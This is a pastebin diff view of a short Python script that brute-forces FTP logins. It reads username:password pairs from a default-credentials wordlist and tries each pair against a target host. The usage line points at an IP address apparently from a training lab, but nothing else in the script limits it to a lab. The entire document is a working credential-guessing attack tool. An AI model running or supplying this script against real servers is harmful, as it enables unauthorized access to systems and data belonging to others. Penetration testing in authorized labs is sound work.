View difference between Paste ID: W5jY6TnD and s78me69d
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python3
2
3
# Usage - python3 ftp.py  -t 10.10.10.131 -p /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
4
5
from ftplib import FTP
6
from optparse import OptionParser
7
8
def brute(host, username, password):
9
    try:
10
        ftp = FTP(host)
11
        ftp.login(username, password)
12
        ftp.retrlines('LIST')
13
        print ('Ftp server connected using the provided username "' + username + '" and     password "' + password + '"')
14
        ftp.quit()
15
    except:
16
        print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')
17
18
def main():
19
    parser = OptionParser(usage="usage: python3 <program name>.py -t <target IP> -p <password file>")
20
    parser.add_option("-t", type="string",
21
                      help="Enter target host IP",
22
                      dest="targetHost")
23
    parser.add_option("-p", type="string",
24
                      help="Enter password file",
25
                      dest="passFile")
26
    (options, args) = parser.parse_args()
27
28
    if not options.passFile or not options.targetHost:
29
        parser.print_help()
30
    else:
31
        with open(options.passFile) as f:
32
            data = [ line.strip().split(':') for line in f ]
33
34
        for username, password in data:
35
            brute(options.targetHost, username, password)
36
37
main()